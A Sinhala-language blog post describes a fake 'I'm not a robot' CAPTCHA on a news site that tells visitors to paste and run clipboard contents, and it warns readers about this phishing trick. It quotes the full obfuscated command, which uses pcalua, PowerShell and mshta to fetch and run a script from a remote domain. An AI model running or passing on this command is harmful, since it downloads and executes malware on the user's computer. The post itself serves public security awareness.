අද උදේ වැඩ ආරම්භ කරන විට, සාමාන්ය පුවත් බ්ලොග් පිරික්සමින් සිටිද්දී Crooked Timber වෙබ් අඩවියට ගියෙමි. නමුත් සාමාන්ය ලිපියකට පිවිසීමට පෙර, "I'm not a robot" කියන ගූගල් කැප්චා පේජ් එකක් මතු වුණා.
කැප්චා එකේ Verify you're human කියලා නිල් පසුබිමක් තිබුණා. එහිදී Manual Verification Steps දෙකක් පෙන්වා දුන්නා: 1) Win + R ඔබන්න, 2) Ctrl + V ඔබලා Run කරන්න. මුලින්ම මෙය නව ආකාරයේ කැප්චා කියලා හිතාගත්තා, නමුත් තත්කාලිකවම පේස්ට් කරන ලද ක්ලිප්බෝඩ් අන්තර්ගතය දැකලා බිහිසුණු වුණා.
කැප්චා එකේ පේස්ට් කරලා තිබුණු කේතය මෙහෙමයි: pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi". මෙය PowerShell හරහා දුරස්ථ URL එකකින් ස්ක්රිප්ට් එකක් බාගත කර ධාවනය කරන කමන්ඩ් එකක්. මගේ වැඩ ස්ථානයේ ලබා දෙන LLM එකට පරික්ෂා කරලා, එය "ඉතාමත් අනතුරුදායකයි, කිසිසේත් ධාවනය නොකරන්න" කියලා අනතුරු අඟවා දුන්නා.
මෙවැනි ප්රවේශය phishing හා malware ප්රචාරක රූපයක්. පරිශීලකයාගේ ක්ලිප්බෝඩ් එකට රහස් කේතයක් ඇතුළත් කර, ඒක ධාවනය කිරීමෙන් පද්ධතියේ ආරක්ෂාව කඩා හරිනු ඇත. එමෙන්ම, මෙම වර්ගයේ අක්රමික කැප්චා, බොට් හෝ ස්ක්රැපර් වැනි ස්වයංක්රීය මෙවලම් භාවිතා කරන අයටම පවා අභියෝගයක්.
ශ්රී ලංකාවට ඇති වැදගත්කම
- සිසුන්ට: අන්තර්ජාලයේ අනිසි කේතයන් පිළිබඳ අවධානය වැඩි කර, සයිබර් ආරක්ෂා පාඨමාලා වලට ප්රායෝගික උදාහරණයක්.
- ඩිවෙලපර්ස්ට: ව්යාපාරික වෙබ් අඩවි හෝ API ගොඩනැගීමේදී, අතුරුදන් වූ කැප්චා වර්ගයන් හඳුනා ගැනීමට සහ ආරක්ෂක පරීක්ෂා කිරීමේ අවශ්යතාවය.
- ව්යාපාරිකයන්ට: රැකියා අවදානම අඩු කිරීම, සේවා විශ්වාසනීයතාවය රැක ගැනීම, සහ ග්රාහක දත්ත රැකවරණය සඳහා නවතම සයිබර් ආරක්ෂක ප්රතිපාදන ග්රහණය.
අවසන් වශයෙන්, අමුතු කැප්චා එකක් හමුවුනොත්, පළමුව එය පිළිබඳ සැකයක් තබා, කිසිවක් පිටපත් නොකර, විශ්වාසනීය ආරක්ෂක මෙවලම් හෝ AI උපකරණ භාවිතා කර පරීක්ෂා කරන්න. ඔබේ පරිගණකය සුරක්ෂිත තබා ගැනීම, අලුත් තාක්ෂණික අවදානම් වලට මුහුණ දීමට මුලික පියවරයි.
